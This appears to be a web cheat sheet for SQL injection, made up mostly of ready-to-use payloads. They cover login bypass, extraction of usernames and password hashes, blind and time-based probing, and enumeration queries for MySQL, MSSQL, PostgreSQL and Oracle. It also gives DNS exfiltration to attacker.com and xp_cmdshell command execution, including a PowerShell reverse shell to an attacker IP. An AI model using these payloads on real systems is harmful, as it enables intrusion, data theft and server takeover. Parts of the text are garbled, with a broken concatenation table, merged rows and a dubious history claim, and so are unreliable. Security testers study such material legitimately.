SQL Injection Cheat Sheet

SQL injection is a prevalent web security vulnerability where hackers place malicious SQL code in a website's database. This can enable them to steal, alter, or delete information. Ethical hackers check for such vulnerabilities to avoid attacks, as SQL injection is one of the most used hacking methods today.

Common SQL Injection Types:

- **Error-Based SQL Injection** – In this it relies on error messages that is thrown by database or servers so that we know about the database structures or obtain the information regarding the database structure
- **Union-Based SQL Injection** – In this we uses the `UNION` SQL `with two or more SELECT statement` to combine and retrieve additional database records.
- **Boolean-Based Blind SQL Injection** – It extracts the data by observing database responses depending on whether the query returns a TRUE or FALSE result.
- **Time-Based Blind SQL Injection** – In this it attackers craft SQL queries that force the database to delay its response we can Uses `SLEEP()` or `WAITFOR DELAY` to check for vulnerabilities.
- **Out-of-Band SQL Injection** – In this it relies on specific database server features, uses a different channel than the initial attack to retrieve data or exfiltrates data using DNS requests or HTTP requests.

The whole purpose of the Cheat Sheet is to provide you with some quick, accurate ready-to-use commands and necessary Sqlmap queries to help you with SQL Injections.

SQL Injection Cheat Sheet: Commands, Payloads & Exploits

SQL injection (SQLi) is allows attackers to manipulate the database by inserting the malicious SQL queries in user input so it is a critical web security vulnerability.

1. Basic SQL Injection Payload

Bypassing Authentication: Login bypass using SQL injection:

Category	SQL Injection Command	Description

Bypassing Authentication	`' OR 1=1 --`
	`" OR "1"="1"`
	`admin' --`
	`' OR '1'='1' --`
		Logs in without valid credentials by always evaluating `TRUE`.

Example of a Vulnerable Query	`SELECT * FROM users WHERE username = 'admin' AND password = '';`	If injected, `' OR 1=1 --` always evaluates as `TRUE`, bypassing authentication.
Extracting Database Version	`SELECT @@version;` (MySQL, MSSQL) `SELECT version();` (PostgreSQL) `SELECT banner FROM v$version;` (Oracle)	Identifies database version, helping attackers launch targeted exploits.
Finding Current Database User	`SELECT user();` (MySQL, PostgreSQL) `SELECT system_user;` (MSSQL) `SELECT session_user;` (PostgreSQL)	Retrieves the current database user, useful for privilege escalation.

2. UNION-Based SQL Injection

This method uses the `UNION` SQL statement to combine results from multiple queries, allowing attackers to retrieve **sensitive data** from a database.

SQL Injection Type	Command	Description
Retrieve Data Using UNION	`' UNION SELECT null, username, password FROM users --`	Extracts **usernames & passwords**.
Determine Column Count	`' ORDER BY 3 --`	Identifies the **number of available columns**.

3. Error-Based SQL Injection

This technique forces the database to **generate error messages**, which can expose **database structure and table names**.

SQL Injection Type	Command	Description
Database Error Retrieval	`' UNION SELECT 1,2,3,4,5,@@version --`	Retrieves **database version** by causing an error.

4. Boolean-Based Blind SQL Injection

This method exploits applications that return **different responses** based on TRUE or FALSE conditions.

SQL Injection Type	Command	Description
Database Name Extraction	`' AND (SELECT SUBSTRING(database(),1,1))='A' --`	Confirms if **database name starts with 'A'**.

5. Time-Based Blind SQL Injection

Injects **time delays** to determine if a SQLi vulnerability exists.

SQL Injection Type	Command	Description
MySQL - Time Delay	`' OR IF(1=1, SLEEP(5), 0) --`	Delays response by **5 seconds**.
MSSQL - Time Delay	`' OR 1=1; WAITFOR DELAY '0:0:5' --`	Delays response by **5 seconds** in MSSQL.

6. Extracting Data from Different Databases

SQL Injection can be used to **list database names, tables, and columns**.

Database	Command	Description
MySQL - Extract Databases	`SELECT schema_name FROM information_schema.schemata;`	Lists **all databases**.
MSSQL - Extract Databases	`SELECT name FROM master.dbo.sysdatabases;`	Retrieves **database names**.
Oracle - Extract Tables	`SELECT table_name FROM all_tables;`	Retrieves **all table names**.

7. Extracting Table and Column Names

After **listing databases**, the next step is to **extract tables and column names**.

Database	Command	Description
MySQL - Extract Tables	`SELECT table_name FROM information_schema.tables;`	Lists **all tables**.
MSSQL - Extract Tables	`SELECT name FROM sysobjects WHERE xtype='U';`	Lists **table names**.
Oracle - Extract Columns	`SELECT column_name FROM all_tab_columns WHERE table_name='USERS';`	Lists **column names**.

8. SQL Injection Commands for Different Databases

Task	Oracle	MSSQL	PostgreSQL	MySQL
String Concatenation	`'foo'	'bar'`	`'foo'+'bar'`	
Extracting a Substring	`SUBSTR('foobar', 4, 2)`	`SUBSTRING('foobar', 4, 2)`	`SUBSTRING('foobar', 4, 2)`	`SUBSTRING('foobar', 4, 2)`
Comment Syntax	`--comment`	`--comment` or `/*comment*/`	`--comment` or `/*comment*/`	`#comment` or `-- comment`
Database Version	`SELECT banner FROM v$version`	`SELECT @@version`	`SELECT version()`	`SELECT @@version`
List Tables	`SELECT * FROM all_tables`	`SELECT * FROM information_schema.tables`	`SELECT * FROM information_schema.tables`	`SELECT * FROM information_schema.tables`

9. Out-of-Band (OOB) SQL Injection

This technique **sends stolen data to an external server**.

SQL Injection Type	Command	Description
DNS Exfiltration Attack	`SELECT load_file(CONCAT('\\\\',(SELECT database()),'.attacker.com\\data.txt'));`	Sends database **data to an external server**.

10. Checking Database Privileges

Database privileges play a crucial role in security, as unauthorized users with elevated access can perform **privilege escalation attacks**

Privilege Check	Command	Description
List Current Users	`SELECT user();` (MySQL) `SELECT current_user;` (PostgreSQL)	Displays **current database user**.
List All Users (MySQL)	`SELECT user, host FROM mysql.user;`	Lists **all database users**.
Admin Privileges (MySQL)	`SHOW GRANTS FOR 'root'@'localhost';`	Shows **admin privileges**.

11. Executing System Commands via SQL Injection

SQL injection can be used to execute **system commands** on the database server, potentially allowing attackers to gain full control over the system

Task	Command	Description
Execute System Command (MSSQL)	`EXEC xp_cmdshell 'whoami';`	Executes **whoami command** on Windows.
Execute Linux Commands (MySQL)	`SELECT sys_exec('id');`	Retrieves **system user ID**.
Create a Reverse Shell (MSSQL)	`EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',4444);..."'`	Opens a **remote shell** for an attacker.

12. Time-Based SQL Injection

Time-based SQL Injection is used to determine whether a database is vulnerable by **forcing a time delay in response**.

Task	Oracle	MSSQL	PostgreSQL	MySQL
Time Delay	`dbms_pipe.receive_message(('a'),10)`	`WAITFOR DELAY '0:0:10'`	`SELECT pg_sleep(10)`	`SELECT SLEEP(10)`

13. DNS-Based SQL Injection

Attackers can use SQLi to **trigger DNS lookups**.

Task	Oracle	MSSQL	PostgreSQL	MySQL
Trigger DNS Lookup	`SELECT UTL_INADDR.get_host_address('attacker.com');`	`exec master..xp_dirtree '//attacker.com/a'`	`copy (SELECT '') to program 'nslookup attacker.com'`	`LOAD_FILE('\\\\attacker.com\\a')`

Basics of SQL:

The following table provides fundamental SQL queries that can help in retrieving information about databases, users, tables, and system configurations. These queries are essential for database management, penetration testing, and security assessments.

S. No.	Parameters	SQL Queries/Examples
1.	Version	SELECT @@version;
2.	Comments	/ / or #
3.	Current user	SELECT user(); || SELECT system_user()
4.	List users	SELECT user FROM mysql.user;
5.	List password hashes	SELECT host, user, password FROM mysql.user;
6.	Current Database	SELECT database()
7.	List databases	SELECT schema_name FROM information_schema.schemata; || SELECT distinct(db) FROM mysql.db
8.	List tables	SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_-schema != 'information_schema'
9.	List columns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
10.	Find Tables From Column Name	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username';
11.	Time delay	SELECT BENCHMARK(1000000,MD5('A')); SELECT SLEEP(5); # >= 5.0.12
12.	Local File Access	UNION ALL SELECT LOAD_FILE('/etc/passwd')
13.	Hostname/IP Address	SELECT @@hostname;
14.	Create user	CREATE USER test1 IDENTIFIED BY 'pass1';

S. No.	Parameters	SQL Queries/Examples
15.	Delete user Location of the db file	SELECT @@datadir;

Basic Commands of SQLMap:

SQLMap is an **automated SQL injection tool** that helps security professionals **detect and exploit SQLi vulnerabilities** in web applications.

Manually Attacks on SQLMap:

SQLMap is an automated tool for detecting and exploiting SQL Injection vulnerabilities, but manual attacks can sometimes be necessary for precise exploitation.

S. No.	Manually Attack Parameters	SQLMap Queries/Examples
1.	Quick detect INTEGERS	select 1 and row(1,1)>(select count(),concat(CONCAT(@@VERSION),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))
2.	Quick detect STRINGS	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(@@VERSION),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'
3.	Clear SQL Test	product.php?id=4 product.php?id=5-1 product.php?id=4 OR 1=1 product.php?id=-1 OR 17-7=10
4.	Blind SQL Injection	SLEEP(25)-- SELECT BENCHMARK(1000000,MD5('A'));
5.	Real world sample of SQL injection	ProductID=1 OR SLEEP(25)=0 LIMIT 1-- ProductID=1) OR SLEEP(25)=0 LIMIT 1-- ProductID=1' OR SLEEP(25)=0 LIMIT 1-- ProductID=1') OR SLEEP(25)=0 LIMIT 1-- ProductID=1)) OR SLEEP(25)=0 LIMIT 1-- ProductID=SELECT SLEEP(25)--

Read more about SQLMAP: How to use SQLMAP to test a website for SQL Injection vulnerability

Also Read:

Conclusion

SQL Injection (SQLi) is a serious web security weakness that enables attackers to tamper with databases, retrieve confidential files or sensitive data, and run harmful tasks through the insertion of specifically designed SQL queries. This cheat sheet contains vital SQL injection payloads, commands, and tips that will help penetration testers and ethical hackers to find and use weaknesses in applications.

The Out-of-Band SQL Injection type is the latest to be discovered and has unique characteristics. This type of injection is different from the rest because it doesn't depend on the application's response, and therefore falls into its own category. Other types include: Error Based SQL Injection; Union Based SQL Injection; Blind SQL Injection which incorporates Boolean Based and Time Based types.

The guide also includes automation performed by SQLMap, manual SQL injection techniques, and database specific queries for privilege escalation, credential dumping and database fingerprinting.